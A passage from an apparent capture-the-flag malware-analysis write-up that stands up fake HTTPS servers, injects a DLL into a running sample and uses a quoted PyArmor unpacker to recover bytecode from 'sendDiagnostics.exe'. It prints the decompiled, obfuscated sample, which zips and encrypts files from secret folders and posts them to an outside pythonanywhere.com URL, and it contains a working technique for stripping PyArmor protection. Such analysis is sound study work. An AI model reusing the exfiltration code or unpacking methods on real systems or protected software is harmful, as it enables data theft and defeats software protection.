'body': request.get_json(silent=True) or request.form.to_dict()
}
print(request_data)
return jsonify(request_data)
@app.route('/fetcher.php', methods=['GET'])
def download():
global COUNTER
print("COUNTER: ", COUNTER + 1)
COUNTER += 1
# print(f"[+] UPLOADED TO {json_data['savepath']} [+]")
return send_file(f"./UPDATE/setup_{COUNTER}.exe", as_attachment=True)
if __name__ == "__main__":
app.run(host='192.168.137.2', port=443, ssl_context=('cert.pem', 'key.pem'), debug=True)
Based on network dump, we can see that there is more than one request to the fetcher.php
with GUID
, so i've downloaded all the encrypted executable
and put it on directory UPDATE
.

After execution of function sub_140002650
, we will get decrypted version of executable.

Let's extract the archive again.

Nothing suspicious from first update, let's continue to next update. Do the same flow to get the next update.

Looking at each file, we found suspicious file named sendDiagnostics.exe
. Through decompiling we know that the executable produced from PyInstaller
.

Let's extract it using pyinstxtractor.

By decompiling using pycdc
, we can see that hello.pyc
is protected using pyarmor
.

There are several way to defeat pyarmor, during the competition i failed to deobfuscate it statically so i tried to do it dynamically.
First, when we run the sendDiagnostics.exe it will try to access URL. Because my sandbox doesn't connect to the internet it will shows an error regarding the failure of accessing the URL.

Previously i've been researching about pyamor
and created a challenge regarding pyarmor also in past competition.
https://blog.ryukk.dev/notes/research/2024/reverse-engineering-application-protected-with-pyarmor (my several approach, not fully written)
https://hackmd.io/@rorre/ryzSAyBYye (solution from participant)
Following is my idea to get deobfuscated code
Use PyInjector to do following task
spawn python interactive to find
entrypoint
for decryptionexecute deobfuscator script
If we use PyInjector, we need to inject the DLL to the running python process. If python process
died
, the interactive session willdied
also or the script running also died.Error will terminate the python process (like connection error in image above)
To mitigate the issue regarding the termination of python process the idea is setting up fake HTTPs server and make the
server sleep
if there is a request. So it will make the client waiting for the response or terminate it if it reach thedefault timeout
.The step to create fake HTTPs server is same, the different only on code and FQDN
Following is the code for fake HTTPs server (gkfmdgkdgb.pythonanywhere.com)
from flask import Flask, request, jsonify, send_file
import json
import time
app = Flask(__name__)
@app.route('/', defaults={'path': ''}, methods=['GET', 'POST', 'PUT', 'DELETE', 'PATCH', 'OPTIONS'])
@app.route('/<path:path>', methods=['GET', 'POST', 'PUT', 'DELETE', 'PATCH', 'OPTIONS'])
def catch_all(path):
request_data = {
'endpoint': f'/{path}',
'method': request.method,
'headers': dict(request.headers),
'query_params': request.args.to_dict(),
'ip': request.remote_addr,
'body': request.get_json(silent=True) or request.form.to_dict()
}
print(request_data)
time.sleep(100000)
print("done")
return jsonify(request_data)
if __name__ == "__main__":
app.run(host='192.168.137.2', port=443, ssl_context=('cert.pem', 'key.pem'), debug=True)
Following are steps to spawn interactive python
Run sendDiagnostics.exe
Open process hacker then choose the sendDiagnostics.exe that has the largest private bytes
Miscellanious > Inject DLL > choose PyInjector_x64_shell.dll
If we use the script directly it will failed to find the frame because there is no frozen
in current frames

But we can do it manually by inspecting each frame until found frozen hello

After that we can modify the existing script to get the frozen frame from the one that we got.
# Method #2
# By svenskithesource (https://github.com/Svenskithesource)
# Made for (https://github.com/Svenskithesource/PyArmor-Unpacker)
import dis
import inspect
import marshal
import os
import struct
import subprocess
import sys
import types
import typing
from functools import wraps
from pathlib import Path
import opcode
LOAD_GLOBAL = opcode.opmap["LOAD_GLOBAL"]
RETURN_OPCODE = opcode.opmap["RETURN_VALUE"].to_bytes(
2, byteorder="little"
) # Convert to bytes so it can be added to bytes easier later on
SETUP_FINALLY = opcode.opmap["SETUP_FINALLY"]
EXTENDED_ARG = opcode.opmap["EXTENDED_ARG"]
OPCODE_SIZE = 2 # can differ in older/newer versions
JUMP_FORWARD = opcode.opmap["JUMP_FORWARD"]
# All absolute jumps
JUMP_ABSOLUTE = opcode.opmap.get("JUMP_ABSOLUTE")
CONTINUE_LOOP = opcode.opmap.get("CONTINUE_LOOP")
POP_JUMP_IF_FALSE = opcode.opmap.get("POP_JUMP_IF_FALSE")
POP_JUMP_IF_TRUE = opcode.opmap.get("POP_JUMP_IF_TRUE")
JUMP_IF_FALSE_OR_POP = opcode.opmap.get("JUMP_IF_FALSE_OR_POP")
JUMP_IF_TRUE_OR_POP = opcode.opmap.get("JUMP_IF_TRUE_OR_POP")
absolute_jumps = [
JUMP_ABSOLUTE,
CONTINUE_LOOP,
POP_JUMP_IF_FALSE,
POP_JUMP_IF_TRUE,
JUMP_IF_FALSE_OR_POP,
JUMP_IF_TRUE_OR_POP,
]
# TODO more documentation
code_attrs = [ # ordered correctly by types.CodeType type creation
"co_argcount",
"co_posonlyargcount",
"co_kwonlyargcount",
"co_nlocals",
"co_stacksize",
"co_flags",
"co_code",
"co_consts",
"co_names",
"co_varnames",
"co_filename",
"co_name",
"co_firstlineno",
"co_lnotab",
"co_freevars",
"co_cellvars",
]
if sys.version_info.major < 3 or (
sys.version_info.major == 3 and sys.version_info.minor < 8
):
code_attrs.remove("co_posonlyargcount")
double_jump = (
True if sys.version_info.major == 3 and sys.version_info.minor >= 10 else False
)
def get_magic():
if sys.version_info >= (3, 4):
from importlib.util import MAGIC_NUMBER
return MAGIC_NUMBER
else:
import imp
return imp.get_magic()
MAGIC_NUMBER = get_magic()
started_exiting = False
def calculate_extended_args(
arg: int,
): # This function will calculate the necessary extended_args needed
"""
EXTENDED_ARG logic:
- Its opcode shifts left by 8, and adds it to the next opcode
- There are a maximum of 3 EXTENDED_ARGs for one opcode because
the first of those will be shifted 3 times for a total of
24 bits shifted. This fits exactly in the 32-bit integer boundaries.
"""
extended_args = []
new_arg = arg
if arg > 255:
extended_arg = arg >> 8
while True:
if extended_arg > 255:
extended_args.append(extended_arg & 255)
extended_arg >>= 8
else:
extended_args.append(extended_arg)
extended_args.reverse() # reverse because we appended in the order
# of most recent EXTENDED_ARG (the one closest to
# the actual opcode) to the least recent EXTENDED_ARG
# (the one farthest from the actual opcode)
break
new_arg = arg & 255
return extended_args, new_arg
def execute_code_obj(obj: types.CodeType):
def a():
pass
a.__code__ = obj
number_of_regular_arguments = obj.co_argcount
if sys.version_info.major > 3 or (
sys.version_info.major == 3 and sys.version_info.minor > 7
):
args = [i for i in range(obj.co_posonlyargcount)]
number_of_regular_arguments -= obj.co_posonlyargcount
else:
args = []
kwargs = {obj.co_varnames[-i]: i for i in range(obj.co_kwonlyargcount)}
args.extend([i for i in range(number_of_regular_arguments - obj.co_kwonlyargcount)])
try:
a(*args, **kwargs)
except:
pass
def find_first_opcode(co: bytes, op_code: int):
for i in range(0, len(co), 2):
if co[i] == op_code:
return i
raise ValueError("Could not find the opcode")
def get_arg_bytes(co: bytes, op_code_index: int) -> bytearray:
"""
This function calculate the argument of a call while considering the EXTENDED_ARG opcodes that may come before that
"""
result = bytearray()
result.append(co[op_code_index + 1])
checked_opcode = op_code_index - 2
while checked_opcode >= 0 and co[checked_opcode] == EXTENDED_ARG:
result.insert(0, co[checked_opcode + 1])
checked_opcode -= 2
return result
def calculate_arg(co: bytes, op_code_index: int) -> int:
return int.from_bytes(get_arg_bytes(co, op_code_index), "big")
def get_flags(flags):
names = []
for i in range(32):
flag = 1<<i
if flags & flag:
names.append(flag)
flags ^= flag
if not flags:
break
return names
def flag_to_num(flags, exclude=[]):
real = 0
for flag in flags:
if flag not in exclude:
real ^= flag
return real
def remove_async(flags: int) -> int:
flag_lst = get_flags(flags)
return flag_to_num(flag_lst, [128, 256, 512]) # all coroutine flags
def handle_under_armor(obj: types.CodeType):
# TODO make handling EXTENDED_ARG a function
i = find_first_opcode(obj.co_code, JUMP_FORWARD)
jumping_arg = i + calculate_arg(obj.co_code, i)
if double_jump:
jumping_arg *= 2
load_armor = jumping_arg + find_first_opcode(obj.co_code[jumping_arg:], LOAD_GLOBAL)
pop_index = load_armor + 4
obj = copy_code_obj(
obj,
co_code=obj.co_code[:pop_index] + RETURN_OPCODE + obj.co_code[pop_index + 2 :],
)
old_freevars = obj.co_freevars
old_flags = obj.co_flags
obj = copy_code_obj(obj, co_freevars=(), co_flags=remove_async(old_flags))
try:
execute_code_obj(obj)
except Exception as e:
print(e)
obj = copy_code_obj(obj, co_code=obj.co_code, co_freevars=old_freevars, co_flags=old_flags)
new_names = tuple(n for n in obj.co_names if n != "__armor__")
return copy_code_obj(obj, co_code=obj.co_code[:jumping_arg], co_names=new_names)
def output_code(obj):
if isinstance(obj, types.CodeType):
obj = copy_code_obj(
obj,
co_names=tuple(output_code(name) for name in obj.co_names),
co_varnames=tuple(output_code(name) for name in obj.co_varnames),
co_freevars=tuple(output_code(name) for name in obj.co_freevars),
co_cellvars=tuple(output_code(name) for name in obj.co_cellvars),
co_consts=tuple(output_code(name) for name in obj.co_consts),
)
# TODO I think there is a bug here because the prints are really weird.
if "pytransform" in obj.co_freevars:
# obj.co_name not in ["<lambda>", 'check_obfuscated_script', 'check_mod_pytransform']:
pass
elif "__armor__" in obj.co_names:
# TODO I don't know when a function uses __armor__ but we should find it and add tests
obj = handle_under_armor(obj)
elif "__armor_enter__" in obj.co_names:
obj = handle_armor_enter(obj)
else:
pass
return obj
def handle_armor_enter(obj: types.CodeType):
load_enter_function = b"".join(
i.to_bytes(1, byteorder="big")
for i in [LOAD_GLOBAL, obj.co_names.index("__armor_enter__")]
)
pop_top_start = obj.co_code.find(load_enter_function) + 4
load_exit_function = b"".join(
i.to_bytes(1, byteorder="big")
for i in [LOAD_GLOBAL, obj.co_names.index("__armor_exit__")]
)
fake_exit = obj.co_code.find(load_exit_function) - 2
new_code = (
obj.co_code[:pop_top_start] + RETURN_OPCODE + obj.co_code[pop_top_start + 2 :]
) # replace the pop_top after __pyarmor_enter__ to return
old_freevars = obj.co_freevars
old_flags = obj.co_flags
obj = copy_code_obj(obj, co_code=new_code, co_freevars=(), co_flags=remove_async(old_flags))
try:
execute_code_obj(obj)
except Exception as e:
print(e)
obj = copy_code_obj(obj, co_code=obj.co_code, co_freevars=old_freevars, co_flags=old_flags)
names = tuple(
n for n in obj.co_names if not n.startswith("__armor")
) # remove the pyarmor functions
raw_code = obj.co_code
try_start = find_first_opcode(obj.co_code, SETUP_FINALLY)
size = calculate_arg(obj.co_code, try_start)
if double_jump:
size *= 2
raw_code = raw_code[: try_start + size]
raw_code = raw_code[try_start + 2 :]
raw_code += (
RETURN_OPCODE # add return # TODO this adds return none to everything? what?
)
raw_code = bytearray(raw_code)
i = 0
while i < len(raw_code):
op = raw_code[i]
if op in absolute_jumps:
argument = calculate_arg(raw_code, i)
while raw_code[i-2] == EXTENDED_ARG: # Remove the preceding extended arguments, we add our custom ones later on
raw_code.pop(i-2) # opcode
raw_code.pop(i-2) # arguments
i -= 2
op = raw_code[i]
if double_jump:
argument *= 2
if argument == fake_exit:
raw_code[i] = opcode.opmap[
"RETURN_VALUE"
] # Got to use this because the variable is converted to bytes
continue
new_arg = argument - (try_start + 2)
extended_args, new_arg = calculate_extended_args(new_arg)
for extended_arg in extended_args:
raw_code.insert(i, EXTENDED_ARG)
raw_code.insert(
i + 1, extended_arg if not double_jump else extended_arg // 2
)
i += 2
raw_code[i + 1] = new_arg if not double_jump else new_arg // 2
i += 2
raw_code = bytes(raw_code)
return copy_code_obj(obj, co_names=names, co_code=raw_code)
def _pack_uint32(val):
"""Convert integer to 32-bit little-endian bytes"""
return struct.pack("<I", val)
def code_to_bytecode(code, mtime=0, source_size=0):
"""
Serialise the passed code object (PyCodeObject*) to bytecode as a .pyc file
The args mtime and source_size are inconsequential metadata in the .pyc file.
"""
# Add the magic number that indicates the version of Python the bytecode is for
#
# The .pyc may not decompile if this four-byte value is wrong. Either hardcode the
# value for the target version (eg. b'\x33\x0D\x0D\x0A' instead of MAGIC_NUMBER)
# or see trymagicnum.py to step through different values to find a valid one.
data = bytearray(MAGIC_NUMBER)
# Handle extra 32-bit field in header from Python 3.7 onwards
# See: https://www.python.org/dev/peps/pep-0552
if sys.version_info >= (3, 7):
# Blank bit field value to indicate traditional pyc header
data.extend(_pack_uint32(0))
data.extend(_pack_uint32(int(mtime)))
# Handle extra 32-bit field for source size from Python 3.2 onwards
# See: https://www.python.org/dev/peps/pep-3147/
if sys.version_info >= (3, 2):
data.extend(_pack_uint32(source_size))
data.extend(marshal.dumps(code))
return data
def orig_or_new(func):
sig = inspect.signature(func)
kwarg_params = list(sig.parameters.keys())
@wraps(func)
def wrapee(orig, **kwargs):
binding = sig.bind_partial(**kwargs)
new_kwargs = binding.arguments
for k in kwarg_params:
if k not in new_kwargs:
new_kwargs[k] = getattr(orig, k)
return func(**new_kwargs)
# add the original_object to the signature of the function
orig_params = list(sig.parameters.values())
orig_params.insert(
0, inspect.Parameter("original_object", inspect.Parameter.POSITIONAL_ONLY)
)
sig.replace(parameters=orig_params)
wrapee.__signature__ = sig
return wrapee
def array_to_params(names_array):
return [
inspect.Parameter(name, inspect.Parameter.KEYWORD_ONLY, default=None)
for name in names_array
]
def sig_from_array(names_array):
def decor(f):
sig = inspect.Signature(parameters=array_to_params(names_array))
@wraps(f)
def wrappe(**kwargs):
bound = sig.bind(**kwargs)
bound.apply_defaults()
return f(**bound.kwargs)
wrappe.__signature__ = sig
return wrappe
return decor
@orig_or_new
@sig_from_array(code_attrs)
def copy_code_obj(**kwargs):
"""
create a copy of code object with different paramters.
If a parameter is None then the default is the previous code object values
"""
args = [kwargs[name] for name in code_attrs]
return types.CodeType(*args)
def marshal_to_pyc(file_path: typing.Union[str, Path], code: types.CodeType):
file_path = str(file_path)
pyc_code = code_to_bytecode(code)
with open(file_path, "wb") as f:
f.write(pyc_code)
if __name__ == "__main__":
code = list(sys._current_frames().values())[1].f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_code
code = output_code(code)
filename = code.co_filename.replace("<frozen ", "").replace(">", "")
if filename.endswith(".pyc"):
pass
elif filename.endswith(".py"):
filename += "c"
else:
filename += ".pyc"
DUMP_DIR = Path("./dump")
DUMP_DIR.mkdir(exist_ok=True)
marshal_to_pyc(DUMP_DIR / filename, code)
Put the file in same folder with PyInjector_x64.dll
, then you will get .pyc
file in dump directory in the same directory with sendDiagnostics.exe. Next we can use pycdc or pylingual to decompile the pyc file.
# Source Generated with Decompyle++
# File: hello.pyc (Python 3.7)
(lllllllllllllll, llllllllllllllI, lllllllllllllIl, lllllllllllllII, llllllllllllIll, llllllllllllIlI, llllllllllllIIl, llllllllllllIII, lllllllllllIlll, lllllllllllIllI, lllllllllllIlIl, lllllllllllIlII, lllllllllllIIll) = (int, reversed, print, bytearray, map, str, len, bytes, __name__, bool, ValueError, list, range)
from tempfile import TemporaryDirectory as llIIlllIlIlIlI
from os import walk as IlIIlIIIllIllI
from shutil import copy2 as lIIllIlIIIIIII
from zipfile import ZipFile as lIllIlIllIlIll, ZIP_DEFLATED as IIlIlIIlIllIIl
from requests import post as llIIIIIIllIIlI
from pathlib import Path as IIIIlllIIllIIl
from typing import List as IIlllIlllIllll, Tuple as llIlIIlIIllIIl
SRC_DIRS: IIlllIlllIllll[llllllllllllIlI] = [
'C:\\SecretMusic_01bc59b0059dd953cc8e59bdc86937f1839d9338aabbef279e92cc94680310c8',
'C:\\SecretDocuments_78dbfebd2b180fccff80a1c7dc7d2696744ac111a4ff26f94bd715b52aabc112']
DEST_URL: llllllllllllIlI = 'https://gkfmdgkdgb.pythonanywhere.com/sendDiagnostic.php'
lIllllIIlIIIlllIlI = 8
def IIlIIIIIIIIllllIIl(IIllIIIIIIlIllIlIl = None, lIlIlIIllIIIlIlIll = None):
IIlIllIlIIllIIIIlI = lIlIlIIllIIIlIlIll - llllllllllllIIl(IIllIIIIIIlIllIlIl) % lIlIlIIllIIIlIlIll
return IIllIIIIIIlIllIlIl + llllllllllllIII([
IIlIllIlIIllIIIIlI]) * IIlIllIlIIllIIIIlI
lllIllIllIlllIlIll=[58,50,42,34,26,18,10,2,60,52,44,36,28,20,12,4,62,54,46,38,30,22,14,6,64,56,48,40,32,24,16,8,57,49,41,33,25,17,9,1,59,51,43,35,27,19,11,3,61,53,45,37,29,21,13,5,63,55,47,39,31,23,15,7]
IIlIllIIllIlIllIll=[40,8,48,16,56,24,64,32,39,7,47,15,55,23,63,31,38,6,46,14,54,22,62,30,37,5,45,13,53,21,61,29,36,4,44,12,52,20,60,28,35,3,43,11,51,19,59,27,34,2,42,10,50,18,58,26,33,1,41,9,49,17,57,25]
llIlllIIIlIIlIllll=[32,1,2,3,4,5,4,5,6,7,8,9,8,9,10,11,12,13,12,13,14,15,16,17,16,17,18,19,20,21,20,21,22,23,24,25,24,25,26,27,28,29,28,29,30,31,32,1]
IIIlIllIIlllIIlllI=[16,7,20,21,29,12,28,17,1,15,23,26,5,18,31,10,2,8,24,14,32,27,3,9,19,13,30,6,22,11,4,25]
lIlIllllIlIllIIIll=[57,49,41,33,25,17,9,1,58,50,42,34,26,18,10,2,59,51,43,35,27,19,11,3,60,52,44,36,63,55,47,39,31,23,15,7,62,54,46,38,30,22,14,6,61,53,45,37,29,21,13,5,28,20,12,4]
lllIIIlIlIlllllIll=[14,17,11,24,1,5,3,28,15,6,21,10,23,19,12,4,26,8,16,7,27,20,13,2,41,52,31,37,47,55,30,40,51,45,33,48,44,49,39,56,34,53,46,42,50,36,29,32]
IIlIIIIIIllllIlIlI=[1,1,2,2,2,2,2,2,1,2,2,2,2,2,2,1]
IllIIIlllIIllllIll=[[[14,4,13,1,2,15,11,8,3,10,6,12,5,9,0,7],[0,15,7,4,14,2,13,1,10,6,12,11,9,5,3,8],[4,1,14,8,13,6,2,11,15,12,9,7,3,10,5,0],[15,12,8,2,4,9,1,7,5,11,3,14,10,0,6,13]],[[15,1,8,14,6,11,3,4,9,7,2,13,12,0,5,10],[3,13,4,7,15,2,8,14,12,0,1,10,6,9,11,5],[0,14,7,11,10,4,13,1,5,8,12,6,9,3,2,15],[13,8,10,1,3,15,4,2,11,6,7,12,0,5,14,9]
],[[10,0,9,14,6,3,15,5,1,13,12,7,11,4,2,8],[13,7,0,9,3,4,6,10,2,8,5,14,12,11,15,1],[13,6,4,9,8,15,3,0,11,1,2,12,5,10,14,7],[1,10,13,0,6,9,8,7,4,15,14,3,11,5,2,12]],[[7,13,14,3,0,6,9,10,1,2,8,5,11,12,4,15],[13,8,11,5,6,15,0,3,4,7,2,12,1,10,14,9],[10,6,9,0,12,11,7,13,15,1,3,14,5,2,8,4],[3,15,0,6,10,1,13,8,9,4,5,11,12,7,2,14]],[[2,12,4,1,7,10,11,6,8,5,3,15,13,0,14,9],[14,11,2,12,4,7,13,1,5,0,15,10,3,9,8,6],[4,2,1,11,10,13,7,8,15,9,12,5,6,3,0,14],[11,8,12,7,1,14,2,13,6,15,0,9,10,4,5,3]],[[12,1,10,15,9,2,6,8,0,13,3,4,14,7,5,11],[10,15,4,2,7,12,9,5,6,1,13,14,0,11,3,8],[9,14,15,5,2,8,12,3,7,0,4,10,1,13,11,6],[4,3,2,12,9,5,15,10,11,14,1,7,6,0,8,13]],[[4,11,2,14,15,0,8,13,3,12,9,7,5,10,6,1],[13,0,11,7,4,9,1,10,14,3,5,12,2,15,8,6],[1,4,11,13,12,3,7,14,10,15,6,8,0,5,9,2],[6,11,13,8,1,4,10,7,9,5,0,15,14,2,3,12]],[[13,2,8,4,6,15,11,1,10,9,3,14,5,0,12,7],[1,15,13,8,10,3,7,4,12,5,6,11,0,14,9,2],[7,11,4,1,9,12,14,2,0,6,10,13,15,3,5,8],[2,1,14,7,4,10,8,13,15,12,9,0,3,5,6,11]]]
def IIlllIIllIIIlIIIII(lllIlIlllIlllIIIII = None, lIIlIIIIIIIlllIlIl = None, IIIlIlIlIllIIIlIII = None):
IlIllIIIllIllllIll = 0
for IIlIIIIIlIlIIlIIlI in lIIlIIIIIIIlllIlIl:
IlIllIIIllIllllIll = IlIllIIIllIllllIll << 1 | lllIlIlllIlllIIIII >> IIIlIlIlIllIIIlIII - IIlIIIIIlIlIIlIIlI & 1
return IlIllIIIllIllllIll
def IlIIIlIllllIIIIlIl(IIIlIlIIllIIIIlIII = None, IlIllIlIIIIIlIIIll = None, IllIIlIlIIIllIllIl = None):
return IIIlIlIIllIIIIlIII << IlIllIlIIIIIlIIIll & (1 << IllIIlIlIIIllIllIl) - 1 | IIIlIlIIllIIIIlIII >> IllIIlIlIIIllIllIl - IlIllIlIIIIIlIIIll
def IlIlllllIllllllllI(lIlllIIIIIllIlllll = None):
lIlIIIIIIIllIlIIll = IIlllIIllIIIlIIIII(lIlllIIIIIllIlllll, lIlIllllIlIllIIIll, 64)
lIIIIIlIIIIlIllIll = lIlIIIIIIIllIlIIll >> 28 & 268435455
IlllIIIlIlllIlIlll = lIlIIIIIIIllIlIIll & 268435455
IllIIlIlIlIIIlIIII = []
for lIllIlIIllIlIlIllI in IIlIIIIIIllllIlIlI:
lIIIIIlIIIIlIllIll = IlIIIlIllllIIIIlIl(lIIIIIlIIIIlIllIll, lIllIlIIllIlIlIllI, 28)
IlllIIIlIlllIlIlll = IlIIIlIllllIIIIlIl(IlllIIIlIlllIlIlll, lIllIlIIllIlIlIllI, 28)
IIlIllIIIllIIlIIIl = lIIIIIlIIIIlIllIll << 28 | IlllIIIlIlllIlIlll
IllIIlIlIlIIIlIIII.append(IIlllIIllIIIlIIIII(IIlIllIIIllIIlIIIl, lllIIIlIlIlllllIll, 56))
return IllIIlIlIlIIIlIIII
def llIlllIIIlIllllIIl(IlIlIIllllIlllIlII = None, IlIllllIlIIIllIIIl = None):
IllIlllIIllllllIll = IIlllIIllIIIlIIIII(IlIlIIllllIlllIlII, llIlllIIIlIIlIllll, 32)
IIllIIlIIllllIIllI = IllIlllIIllllllIll ^ IlIllllIlIIIllIIIl
IlIllIIIllIllllIll = 0
for lIlIIIIIlIIIIlIIll in lllllllllllIIll(8):
IlIlllIIIIlIlIIlIl = IIllIIlIIllllIIllI >> 42 - 6 * lIlIIIIIlIIIIlIIll & 63
llIlIlllllIlllIIlI = (IlIlllIIIIlIlIIlIl >> 5) << 1 | IlIlllIIIIlIlIIlIl & 1
IIlIIIllIIIlllIIll = IlIlllIIIIlIlIIlIl >> 1 & 15
IlIllIIIllIllllIll = IlIllIIIllIllllIll << 4 | IllIIIlllIIllllIll[lIlIIIIIlIIIIlIIll][llIlIlllllIlllIIlI][IIlIIIllIIIlllIIll]
return IIlllIIllIIIlIIIII(IlIllIIIllIllllIll, IIIlIllIIlllIIlllI, 32)
def lIIIlIlIlIlllIIlIl(lllIlIlllIlllIIIII = None, IllIIlIlIlIIIlIIII = None):
IlIlIlllIIIIlIIIII = lllllllllllllll.from_bytes(lllIlIlllIlllIIIII, 'big')
IlIlIlllIIIIlIIIII = IIlllIIllIIIlIIIII(IlIlIlllIIIIlIIIII, lllIllIllIlllIlIll, 64)
IllIIIlIllIIlIlIII = IlIlIlllIIIIlIIIII >> 32
IlllIIIIllIIlllIIl = IlIlIlllIIIIlIIIII & 0xFFFFFFFFL
for llIIIlIIIIIllllllI in IllIIlIlIlIIIlIIII:
IllIIIlIllIIlIlIII = IlllIIIIllIIlllIIl
IlllIIIIllIIlllIIl = IllIIIlIllIIlIlIII ^ llIlllIIIlIllllIIl(IlllIIIIllIIlllIIl, llIIIlIIIIIllllllI)
IllIllIllIlIIIlIIl = IlllIIIIllIIlllIIl << 32 | IllIIIlIllIIlIlIII
IlIlIlIIIIlIlIlIlI = IIlllIIllIIIlIIIII(IllIllIllIlIIIlIIl, IIlIllIIllIlIllIll, 64)
return IlIlIlIIIIlIlIlIlI.to_bytes(8, 'big')
class lIIIIIIlIIlIIIIlIl:
def __init__(IlIllIIlIIIlIIIIlI = None, lIIlllIIllllIIlIIl = None, lIlllIllIIlIIIlIII = None):
if llllllllllllIIl(lIIlllIIllllIIlIIl) != 24:
raise lllllllllllIlIl('1')
if None(lIlllIllIIlIIIlIII) != 8:
raise lllllllllllIlIl('2')
IlIllIIlIIIlIIIIlI.IllIIIllIllIIIIlll = None.from_bytes(lIIlllIIllllIIlIIl[0:8], 'big')
IlIllIIlIIIlIIIIlI.IIllIllIIIIlIIlIlI = lllllllllllllll.from_bytes(lIIlllIIllllIIlIIl[8:16], 'big')
IlIllIIlIIIlIIIIlI.IlIlIIllllIlIllIII = lllllllllllllll.from_bytes(lIIlllIIllllIIlIIl[16:], 'big')
IlIllIIlIIIlIIIIlI.lllIlllIIllIllllIl = lllllllllllllll.from_bytes(lIlllIllIIlIIIlIII, 'big')
IlIllIIlIIIlIIIIlI.lllllIIlIlIlIllIII = IlIlllllIllllllllI(IlIllIIlIIIlIIIIlI.IllIIIllIllIIIIlll)
IlIllIIlIIIlIIIIlI.IlIlIIIlIIIIlIlIII = IlIlllllIllllllllI(IlIllIIlIIIlIIIIlI.IIllIllIIIIlIIlIlI)
IlIllIIlIIIlIIIIlI.llllIIIlIllIIIlIlI = IlIlllllIllllllllI(IlIllIIlIIIlIIIIlI.IlIlIIllllIlIllIII)
IlIllIIlIIIlIIIIlI.llllIIllllIlIlIlIl = lllllllllllIlII(llllllllllllllI(IlIllIIlIIIlIIIIlI.IlIlIIIlIIIIlIlIII))
def IIlllllllllllIIlIl(IlIllIIlIIIlIIIIlI = None, IIllIIIIIIlIllIlIl = None):
if llllllllllllIIl(IIllIIIIIIlIllIlIl) % 8:
raise lllllllllllIlIl('Data must be 8-byte aligned (pad first)')
lllIlllIIllIllllIl = None.lllIlllIIllIllllIl
IlIllIIIllIllllIll = lllllllllllllII()
for lIlIIIIIlIIIIlIIll in lllllllllllIIll(0, llllllllllllIIl(IIllIIIIIIlIllIlIl), 8):
lllIlIlllIlllIIIII = lllllllllllllll.from_bytes(IIllIIIIIIlIllIlIl[lIlIIIIIlIIIIlIIll:lIlIIIIIlIIIIlIIll + 8], 'big') ^ lllIlllIIllIllllIl
lllIlIlllIlllIIIII = lllllllllllllll.from_bytes(lIIIlIlIlIlllIIlIl(lllIlIlllIlllIIIII.to_bytes(8, 'big'), IlIllIIlIIIlIIIIlI.lllllIIlIlIlIllIII), 'big')
lllIlIlllIlllIIIII = lllllllllllllll.from_bytes(lIIIlIlIlIlllIIlIl(lllIlIlllIlllIIIII.to_bytes(8, 'big'), IlIllIIlIIIlIIIIlI.llllIIllllIlIlIlIl), 'big')
lllIlIlllIlllIIIII = lllllllllllllll.from_bytes(lIIIlIlIlIlllIIlIl(lllIlIlllIlllIIIII.to_bytes(8, 'big'), IlIllIIlIIIlIIIIlI.llllIIIlIllIIIlIlI), 'big')
lllIlllIIllIllllIl = lllIlIlllIlllIIIII
IlIllIIIllIllllIll.extend(lllIlIlllIlllIIIII.to_bytes(8, 'big'))
return llllllllllllIII(IlIllIIIllIllllIll)
def IIlIllIIllIIIIllII(lIIlllIIIIIIllllll = None, llIIIIllIIIIlIIIll = None):
Unsupported opcode: WITH_CLEANUP_START
pass
# WARNING: Decompyle incomplete
if lllllllllllIlll == '__main__':
IIlIllIIllIIIIllII(SRC_DIRS, DEST_URL)
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: <frozen hello>
# Bytecode version: 3.7.0 (3394)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
from tempfile import TemporaryDirectory as llIIlllIlIlIlI
from os import walk as IlIIlIIIllIllI
from shutil import copy2 as lIIllIlIIIIIII
from zipfile import ZipFile as lIllIlIllIlIll, ZIP_DEFLATED as IIlIlIIlIllIIl
from requests import post as llIIIIIIllIIlI
from pathlib import Path as IIIIlllIIllIIl
from typing import List as IIlllIlllIllll, Tuple as llIlIIlIIllIIl
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
DEST_URL: llllllllllllIlI = 'https://gkfmdgkdgb.pythonanywhere.com/sendDiagnostic.php'
lIllllIIlIIIlllIlI = 8
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
IlIllIIIllIllllIll = 0
for IIlIIIIIlIlIIlIIlI in lIIlIIIIIIIlllIlIl:
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
def IlIIIlIllllIIIIlIl(IIIlIlIIllIIIIlIII: lllllllllllllll, IlIllIlIIIIIlIIIll: lllllllllllllll, IllIIlIlIIIllIllIl: lllllllllllllll) -> lllllllllllllll:
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
lIIIIIlIIIIlIllIll = lIlIIIIIIIllIlIIll >> 28 & 268435455
IlllIIIlIlllIlIlll = lIlIIIIIIIllIlIIll & 268435455
IllIIlIlIlIIIlIIII = []
for lIllIlIIllIlIlIllI in IIlIIIIIIllllIlIlI:
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
IIlIllIIIllIIlIIIl = lIIIIIlIIIIlIllIll << 28 | IlllIIIlIlllIlIlll
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
def llIlllIIIlIllllIIl(IlIlIIllllIlllIlII: lllllllllllllll, IlIllllIlIIIllIIIl: lllllllllllllll) -> lllllllllllllll:
'''Decompiler error: line too long for translation. Please decompile this statement manually.'''
IIllIIlIIllllIIllI = IllIlllIIllllllIll ^ IlIllllIlIIIllIIIl
